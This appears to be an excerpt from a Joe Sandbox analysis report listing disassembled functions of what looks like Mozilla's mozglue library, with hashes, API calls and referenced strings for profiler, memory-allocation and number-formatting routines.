Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a887a60ec3d4f6a19893e70fe720867f348245abb5b24a356683d31b28f6e905
Instruction ID: 1157d7523fdb60ec24386c3710552b596dd1b1cfa9e9a66d29d3d6c3d66e431c
Opcode Fuzzy Hash: a887a60ec3d4f6a19893e70fe720867f348245abb5b24a356683d31b28f6e905
Instruction Fuzzy Hash: 20418871F047089BCB08DF78D94515EBBE6EF85358F10863EE899A7781EB349844C751

Function 6C7246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C724721

Part of subcall function 6C6D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C713EBD,00000017,?,00000000,?,6C713EBD,?,?,6C6D42D2), ref: 6C6D4444

Strings

profiler-paused, xrefs: 6C7246E4
., xrefs: 6C72476A
-%llu, xrefs: 6C724733

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 051bf9ea609402bb742978bef066d2a368a67995d9c3ecc5e61890530419827f
Instruction ID: 1bab531581ee2e6470c0ceaa72ec80ed3c7bc83de36fb43d53dfd0b6cb7a90e8
Opcode Fuzzy Hash: 051bf9ea609402bb742978bef066d2a368a67995d9c3ecc5e61890530419827f
Instruction Fuzzy Hash: 583146B1F042084BCB0CCF7DD98529EBBE6DB89324F55813EE8159BB81EB7498048B90

Function 6C72B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C713EBD,6C713EBD,00000000), ref: 6C6D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C72B127), ref: 6C72B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C72B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C72B4E4

Strings

pid:, xrefs: 6C72B4DE

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 729170f4b14b90ad0787cfd79fc9eec14a1feb6e106e93a0758d460ad97dd77c
Instruction ID: 25d7161cde29028d428bf4087bdf3e06fd56e0e94dfe74642a327e493a3afbea
Opcode Fuzzy Hash: 729170f4b14b90ad0787cfd79fc9eec14a1feb6e106e93a0758d460ad97dd77c
Instruction Fuzzy Hash: 38310331A012089BDB00DFAAD980AEEB7B5FF49318F940529D8226BA41D735B945CBA1

Function 6C71E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71E577
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71E584
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C71E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C71E655
MOZ_PROFILER_STARTUP, xrefs: 6C71E5A1, 6C71E5CC, 6C71E5FF, 6C71E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C71E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C71E722, 6C71E750, 6C71E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C71E826, 6C71E850

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 76c1544acf4261b30ed776eaf68d9b4eb3041a619f4e8aa40789ca0a68fb4ada
Instruction ID: f3bdc4a10fb6a6a84aa75d0629a6d23ee13ce4d4cc793618139f2130f49d8fb9
Opcode Fuzzy Hash: 76c1544acf4261b30ed776eaf68d9b4eb3041a619f4e8aa40789ca0a68fb4ada
Instruction Fuzzy Hash: C411AD31A04258DFCB009F15C948A6ABBF8FBC9328FD40629E89697A50CF70A905CB95

Function 6C720C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C720CD5

Part of subcall function 6C70F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C70F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C720D40
free.MOZGLUE ref: 6C720DCB

Part of subcall function 6C6F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6F5EDB
Part of subcall function 6C6F5E90: memset.VCRUNTIME140(ewsl,000000E5,?), ref: 6C6F5F27
Part of subcall function 6C6F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6F5FB2

free.MOZGLUE ref: 6C720DDD
free.MOZGLUE ref: 6C720DF2

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 48f5b19fb0790c83bfec7503a7016fc506d1e325e042e3496f9929118a4d620e
Instruction ID: 506b9474b2e7b62a55c2b07187fae7e756ea1bf7b2ddfcad32c1078b2740b658
Opcode Fuzzy Hash: 48f5b19fb0790c83bfec7503a7016fc506d1e325e042e3496f9929118a4d620e
Instruction Fuzzy Hash: 3F413B719097848BD320CF29C28179EFBE5BFC9714F508A2EE8D887750DB749945CB92

Function 6C72CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C71DA31,00100000,?,?,00000000,?), ref: 6C72CDA4

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

Part of subcall function 6C72D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C72CDBA,00100000,?,00000000,?,6C71DA31,00100000,?,?,00000000,?), ref: 6C72D158
Part of subcall function 6C72D130: InitializeConditionVariable.KERNEL32(00000098,?,6C72CDBA,00100000,?,00000000,?,6C71DA31,00100000,?,?,00000000,?), ref: 6C72D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C71DA31,00100000,?,?,00000000,?), ref: 6C72CDC4

Part of subcall function 6C727480: ReleaseSRWLockExclusive.KERNEL32(?,6C7315FC,?,?,?,?,6C7315FC,?), ref: 6C7274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C71DA31,00100000,?,?,00000000,?), ref: 6C72CECC

Part of subcall function 6C6ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C6ECAA2

Part of subcall function 6C71CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C72CEEA,?,?,?,?,00000000,?,6C71DA31,00100000,?,?,00000000), ref: 6C71CB57
Part of subcall function 6C71CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C71CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C72CEEA,?,?), ref: 6C71CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C71DA31,00100000,?,?,00000000,?), ref: 6C72D058

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 28e6ae3eec059f3c849e30c4ec1af11f735476029b5b983f9675fbad519d0ea7
Instruction ID: e6125b552550789a1d331b33ad41e9ef1b871470cf09867675937b27d1da7cf4
Opcode Fuzzy Hash: 28e6ae3eec059f3c849e30c4ec1af11f735476029b5b983f9675fbad519d0ea7
Instruction Fuzzy Hash: E5D18F71A04B469FD718CF28C580B99F7E1FF99308F01862DD8598B752EB31E9A5CB81

Function 6C6F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C6F5D40
EnterCriticalSection.KERNEL32(6C75F688), ref: 6C6F5D67
__aulldiv.LIBCMT ref: 6C6F5DB4
LeaveCriticalSection.KERNEL32(6C75F688), ref: 6C6F5DED

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: d9a272d51740fd71c0a0b704a125c94ef10bfa9ee0801b52a6d1054d276a513e
Instruction ID: af94377728ae9bd41e64967e4f4fbd6a58e4a700f03e1c8c66fe7aa887314d7d
Opcode Fuzzy Hash: d9a272d51740fd71c0a0b704a125c94ef10bfa9ee0801b52a6d1054d276a513e
Instruction Fuzzy Hash: 72515E71E011198FDF08CF68C854ABEBBF2FB89304F598629D865A7791CB306D46CB94

Function 6C6DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C6DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C6DCF4E

Strings

0, xrefs: 6C6DCF30

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 21db32e88398dc5b1ce5aa0311ddbac519d57c7530d91ecb4251a14d3f76df08
Instruction ID: e8b37834a4e32f8e8e7427c24575b3a78ffffd5192ea9cf90a0cdc74852c1f67
Opcode Fuzzy Hash: 21db32e88398dc5b1ce5aa0311ddbac519d57c7530d91ecb4251a14d3f76df08
Instruction Fuzzy Hash: DD51F375A0025A8FCB04CF18C890A9AF7B5EF99304F29859DD85A5F351D731BD06CBE0

Function 6C716470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7182BC,?,?), ref: 6C71649B

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7164A9

Part of subcall function 6C70FA80: GetCurrentThreadId.KERNEL32 ref: 6C70FA8D
Part of subcall function 6C70FA80: AcquireSRWLockExclusive.KERNEL32(6C75F448), ref: 6C70FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71653F
free.MOZGLUE(?), ref: 6C71655A

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: c71b7cae85d565713948b914f81aaa248f65a9d2834cafbf48dcfe580f34c6f3
Instruction ID: 8f619aa431af94e668f77b26e68a6a6e9a5ba169d456b99dca45ec3643156d99
Opcode Fuzzy Hash: c71b7cae85d565713948b914f81aaa248f65a9d2834cafbf48dcfe580f34c6f3
Instruction Fuzzy Hash: 1B31A2B5A083059FD700CF14D984A9EBBF4FF89314F50842EE89A87740DB34EA09CB92

Function 6C6EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6EB4F5
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C6EB502
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C6EB542
free.MOZGLUE(?), ref: 6C6EB578

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fa38b44fa8943abe85e6cc336e992d1ad78645f511039c41633dbcbe4eda722a
Instruction ID: 29d89cf6891d55f697b364a117264a9bbf2da268e94667220d13072e256a9d90
Opcode Fuzzy Hash: fa38b44fa8943abe85e6cc336e992d1ad78645f511039c41633dbcbe4eda722a
Instruction Fuzzy Hash: A311CD30A08B45C7D7128F29C5047A2B3B5FFDA318F94972AE85953A01EBB0B5D6C798

Function 6C713DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C6DF20E,?), ref: 6C713DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C6DF20E,00000000,?), ref: 6C713DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C713E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C713E0E

Part of subcall function 6C70CC00: GetCurrentProcess.KERNEL32(?,?,6C6D31A7), ref: 6C70CC0D
Part of subcall function 6C70CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6D31A7), ref: 6C70CC16

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: af9bb9b58883fd1c82123877c2f99cc71ea7a31f4037f894d44f60cc6f285aaa
Instruction ID: c7fcd4a604af082ebc44206cb60e021625f1eff8e3665cef52f99081dd895d65
Opcode Fuzzy Hash: af9bb9b58883fd1c82123877c2f99cc71ea7a31f4037f894d44f60cc6f285aaa
Instruction Fuzzy Hash: 53F012B16002087BE700AB54DC49DBB376DDB46625F444031FD0857741DA75BE1996F7

Function 6C7285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C7285D3

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C728725

Strings

map/set<T> too long, xrefs: 6C728720

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c408104c615040f7a65306ba5d3d0bd53aac01178b67071e0a464ceb0a2b55ba
Instruction ID: a17561d16491c90290c5bf96c10cf900fcc72235d8f98a88c4f9f565203fcfca
Opcode Fuzzy Hash: c408104c615040f7a65306ba5d3d0bd53aac01178b67071e0a464ceb0a2b55ba
Instruction Fuzzy Hash: B4516875A04651CFD701CF28C284B55BBF1BF4A318F18C19AD8595BB52C37AE885CF92

Function 6C6DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C6DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6DBE8F

Strings

0, xrefs: 6C6DBE5B

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: b4555b6b6bda809be600de8dc5788d426e58d362a5b1958ca16afe7ed820d09e
Instruction ID: 77e4a6ad27c3cf890488053c885873e15ca9b8573fc5c2bee3a8b69db36328bb
Opcode Fuzzy Hash: b4555b6b6bda809be600de8dc5788d426e58d362a5b1958ca16afe7ed820d09e
Instruction Fuzzy Hash: BA41AE71909746CFC701CF28C481A9BB7F4EFCA388F018A1DF985A7615E730E9498B86

Function 6C713CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C713D19
mozalloc_abort.MOZGLUE(?), ref: 6C713D6C

Strings

d, xrefs: 6C713D58

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 1d933b7d6cc993edb127cb8f42565e5acf499b4910533c2a9ac31ba306fb4573
Instruction ID: 614c64bd01e3d1db4440e70eb2e0e5cba9a5c29ff72694960a05d676538ea797
Opcode Fuzzy Hash: 1d933b7d6cc993edb127cb8f42565e5acf499b4910533c2a9ac31ba306fb4573
Instruction Fuzzy Hash: 3F112B71E18648DBDB009F69C9194EDB775EF96318B88C339DC8497A02EB30A584C350

Function 6C736DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C736E22
__Init_thread_footer.LIBCMT ref: 6C736E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C736E1D

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 83dd2b687d79cb52a60efab176a7c293ffbe7ea2ff701be841cfdd7196f30bbc
Instruction ID: 0617a45b3e7faa34c4057b293a49a9df985e44dbb50cbf2d29ff1c0bc778311c
Opcode Fuzzy Hash: 83dd2b687d79cb52a60efab176a7c293ffbe7ea2ff701be841cfdd7196f30bbc
Instruction Fuzzy Hash: 0DF05971684244CBDA009B68CB54A993375F703219F8411B5C40847BD2CF21A71ACB93

Function 6C6E9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6E9EEF

Strings

NaN, xrefs: 6C6E9EC1
Infinity, xrefs: 6C6E9EB7

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: c1f52bf0e2781d634240acab1be13a1e9b2a9ffde6b6fef88fe9c5ade633e3c0
Instruction ID: 064e185aa76c164315e344ac4f493be03cd9db8887338b18f04cd189461d7a10
Opcode Fuzzy Hash: c1f52bf0e2781d634240acab1be13a1e9b2a9ffde6b6fef88fe9c5ade633e3c0
Instruction Fuzzy Hash: 49F0C2B1601749CBDB008F28DA6BBA433B1BB0731DFA00A79C6040BB80DF356556CBC6

Function 6C6E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kql,?,6C714B30,80000000,?,6C714AB7,?,6C6D43CF,?,6C6D42D2), ref: 6C6E6C42

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

moz_xmalloc.MOZGLUE(0Kql,?,6C714B30,80000000,?,6C714AB7,?,6C6D43CF,?,6C6D42D2), ref: 6C6E6C58

Strings

0Kql, xrefs: 6C6E6C33, 6C6E6C41, 6C6E6C57

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kql
API String ID: 1967447596-3749716056
